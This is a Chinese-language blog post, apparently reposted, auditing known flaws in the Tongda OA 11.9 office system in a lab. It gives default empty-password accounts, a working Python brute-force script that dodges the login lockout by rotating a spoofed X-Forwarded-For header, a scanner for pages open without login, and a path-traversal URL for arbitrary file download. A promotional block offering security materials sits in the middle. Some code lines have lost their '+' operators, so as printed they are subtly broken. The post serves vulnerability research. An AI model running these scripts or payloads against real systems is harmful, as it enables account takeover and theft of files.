通達oa 作為攻防演練中出場率較高的一套 OA 系統,決定先從曆史漏洞開始挖掘分析,對通達OA 有一個初步的了解。
下載通達oa 11.9 ,默認安裝地址是 D:\MYOA ,聯網狀态下會自動更新到通達 oa 11.10
安裝成功後,登錄界面如下 默認賬号為 admin 對應密碼為空。
登錄後我們看到其中還有一些默認賬号 lijia wangyun wangde 均可利用空密碼登錄成功
爆破密碼
正常輸入賬号名密碼時,輸入三次錯誤就會禁止10分鐘
我們可以通過代碼方面追究其原因
webroot/inc/td_core.php
$USER_IP 的值可以來自于 X-Forwarded-For
寫個 python 腳本用于爆破用戶名密碼
import requests
import sys
import re
def read_passwd(passwordfile):
with open(file = passwordfile, mode='r') as f:
passwd = f.read().splitlines()
return passwd
def Intruder_password(url,username,passwd_list):
success_str ="正在進入OA系統,請稍候..."
a=b=c=d=0
url = url "/logincheck.php"
for passwd in passwd_list:
payload = "UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)
headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}
response = requests.request("POST", url, data=payload, headers=headers)
if(re.search(success_str, response.text)):
print("正确的賬号名:{}密碼:{}".format(username,passwd))
else:
print("錯誤密碼:{}".format(passwd))
d=d 1
if(d == 255):
c = c 1
d = 0
if(c == 255):
b = b 1
c = 0
if(b == 255):
a = a 1
b =0
def main():
if len(sys.argv) < 4:
print("Usage: Intruder_password.py targeturl username passwdfile\n"
"Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")
exit()
url = sys.argv[1]
username = sys.argv[2]
passwd_list = read_passwd(sys.argv[3])
Intruder_password(url,username,passwd_list)
if __name__ == '__main__':
main()
【----幫助網安學習,需要網安學習資料關注我,私信回複“資料”免費獲取----】 ① 網安學習成長路徑思維導圖 ② 60 網安經典常用工具包 ③ 100 SRC漏洞分析報告 ④ 150 網安攻防實戰技術電子書 ⑤ 最權威CISSP 認證考試指南 題庫 ⑥ 超1800頁CTF實戰技巧手冊 ⑦ 最新網安大廠面試題合集(含答案) ⑧ APP客戶端安全檢測指南(安卓 IOS)
未授權敏感信息洩露一般我們想要尋找一些高危的漏洞,就是需要尋找一些未授權漏洞,就是在未登錄狀态下也可以執行授權後的相關功能,編寫了一個簡單的腳本,先判斷哪一些網頁是可以在未授權的情況下進行訪問到,然後再做進一步的分析
import os
import sys
import requests
def file_path(url,filefolder):
for root, dirs, files in os.walk(filefolder):
for f in files:
paths = os.path.join(root,f)
paths = paths.replace(filefolder,url)
paths = paths.replace("\\","/")
#print(paths)
if(f.endswith(".php")):
response = requests.get(paths)
# print(str(response.status_code) " " str(len(response.text)) " " paths)
print("code:" str(response.status_code) " len:" str(len(response.text)) " url: " paths )
def main():
if len(sys.argv) < 3:
print("Usage: file_path.py targeturl filefolder\n"
"Example: python file_path.py http://10.0.18.1:80 \"C:\\Users\\admin\\Desktop\\MYOA\\webroot\"")
exit()
url = sys.argv[1]
filefolder = sys.argv[2]
file_path(url,filefolder)
if __name__ == '__main__':
main()
http://10.0.18.1/inc/reg.php 洩露版本信息
還有很多可以未授權顯示的頁面,不一一展示了
未授權文件下載通過不斷測試,也找到了一個比較有價值的漏洞,就是未授權文件下載
構造鍊接 http://10.0.18.1/inc/package/down.php?id=/../../../../../../../../../a
就可以下載到根目錄下的 a.zip 文件
我們從代碼層面分析一下漏洞的成因
webroot/inc/package/down.php
我們看到通過 GET 方法獲取到 id 值,拼接到 $FILE_PATH 中,并沒有做任何過濾,傳到函數 td_download 中
webroot/inc/utility_file.php
如此便實現了任意文件下載,這是在版本 11.09 中 存在的漏洞,在自動更新到 11.10 後 漏洞便被修複了,我們查看一下代碼
webroot/inc/package/down.php 我們看到對傳入的參數進行了過濾,無法再跨越目錄的進行下載
靶場實驗練習推薦:
實驗:代碼審計利器-RIPS實踐(合天網安實驗室)
,更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!